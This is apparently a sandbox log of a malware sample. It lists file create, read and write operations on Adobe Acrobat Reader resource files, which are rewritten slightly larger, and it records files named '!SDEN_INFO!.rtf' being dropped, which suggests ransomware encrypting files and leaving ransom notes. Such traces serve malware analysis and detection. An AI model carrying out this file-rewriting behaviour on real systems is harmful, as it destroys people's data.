File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-il\ui-strings.js, size = 1341, size_out = 1341	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-il\ui-strings.js, size = 2757	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\ui-strings.js, size = 1513, size_out = 1513	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\ui-strings.js, size = 2929	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-si\ui-strings.js, size = 1366, size_out = 1366	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-si\ui-strings.js, size = 2782	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\css\main-selector.css, size = 1605, size_out = 1605	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\css\main-selector.css, size = 3021	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\eu-es\ui-strings.js, size = 855, size_out = 855	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\eu-es\ui-strings.js, size = 2271	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nl-nl\ui-strings.js, size = 852, size_out = 852	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nl-nl\ui-strings.js, size = 2268	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ui-strings.js, size = 1215, size_out = 1215	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\!SDEN_INFO!.rtf, size = 2631	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons.png, size = 8063, size_out = 8063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons.png, size = 9479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons_ie8.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\!SDEN_INFO!.rtf, size = 8151, size_out = 8151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\!SDEN_INFO!.rtf, size = 9567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-ae\ui-strings.js, size = 1041, size_out = 1041	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-ae\ui-strings.js, size = 2457	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\it-it\ui-strings.js, size = 1052, size_out = 1052	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\it-it\ui-strings.js, size = 2468	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sk-sk\ui-strings.js, size = 1097, size_out = 1097	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sk-sk\ui-strings.js, size = 2513	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files-select\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files-select\js\plugin.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files-select\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files-select\js\plugin.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-fr\ui-strings.js, size = 1041, size_out = 1041	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-fr\ui-strings.js, size = 2457	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pt-br\ui-strings.js, size = 1031, size_out = 1031	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pt-br\ui-strings.js, size = 2447	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-cn\ui-strings.js, size = 1022, size_out = 1022	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-cn\ui-strings.js, size = 2438	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\example_icons2x.png, size = 5624, size_out = 5624	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\example_icons2x.png, size = 7040	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-ma\ui-strings.js, size = 4732, size_out = 4732	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-ma\ui-strings.js, size = 6148	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ro-ro\ui-strings.js, size = 4663, size_out = 4663	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ro-ro\ui-strings.js, size = 6079	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-tw\ui-strings.js, size = 4627, size_out = 4627	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-tw\ui-strings.js, size = 6043	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-dynamic-pdf-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-dynamic-pdf-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-dynamic-pdf-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-dynamic-pdf-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\chrome-ext-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags@2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags@2x.png, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags@2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags@2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\PlayStore_icon.svg, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\GetMobile.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\GetMobile.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\GetMobile.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\GetMobile.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\PlayStore_icon.svg, size = 5205, size_out = 5205	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\PlayStore_icon.svg, size = 6621	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\PlayStore_icon.svg, size = 5611, size_out = 5611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\PlayStore_icon.svg, size = 7027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\PlayStore_icon.svg, size = 6827, size_out = 6827	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\PlayStore_icon.svg, size = 8243	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\tr-tr\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text-2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text-2x.gif, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text-2x.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text-2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-no-text-2x.gif, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp.gif, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-ja_jp.gif, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ShareFeedback-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ShareFeedback-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ShareFeedback-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ShareFeedback-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-ae\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-ae\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-ae\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\it-it\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\it-it\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\it-it\ui-strings.js, size = 4096	1	Fn Data
